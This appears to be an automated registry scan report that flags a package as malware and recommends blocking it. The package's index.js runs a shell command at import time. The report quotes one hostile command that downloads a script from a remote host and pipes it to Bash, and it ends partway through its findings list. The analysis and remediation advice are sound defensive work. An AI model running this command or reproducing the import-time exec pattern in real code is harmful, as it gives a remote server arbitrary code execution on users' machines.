AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Despite inert-canary comments, the source contains concrete import-time remote code execution. No install hook is needed for this to be malicious. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-07-26T17:35:16.980Z - **Finished:** 2026-07-26T17:35:29.673Z - **Download time:** 761 ms - **Static scan time:** 9 ms - **AI review time:** 11923 ms - **Total time:** 12693 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Importing the package runs a shell command immediately. It downloads an unverified remote payload and executes it with Bash. - **Trigger:** Any runtime require/import resolving package.json main to index.js - **Impact:** Arbitrary code execution with the importing process's privileges - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-07-26T17:35:29.673Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Import-time curl-to-Bash remote payload execution - **Attack narrative:** The manifest exposes index.js as the main entrypoint. During module initialization, index.js invokes child\_process.exec with a command that fetches content from fewafw.hydege.me and pipes it to /bin/bash. The server controls the executed script, so merely importing the package can execute arbitrary commands under the consumer process. - **Rationale:** Despite inert-canary comments, the source contains concrete import-time remote code execution. No install hook is needed for this to be malicious. - **Files touched:** index.js, /bin/bash - **Network endpoints:** fewafw.hydege.me ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** index.js imports node:child\_process and calls exec at module load., index.js executes \`curl fewafw.hydege.me | /bin/bash\`., Remote response is piped directly to a shell, enabling arbitrary code execution on import. - **Evidence against:** package.json has no lifecycle scripts., No credential harvesting or persistence is present in the inspected files. ## Affected versions and remediation This report applies to @mgor/fw-canary-20260725-394b024b@0.0.2. - Avoid installing @mgor/fw-canary-20260725-394b024b@0.0.2. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% index.js imports node:child\_process and calls exec at module load. ### 2. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% index.js executes \`curl fewafw.hydege.me | /bin/bash\`. ### 3.
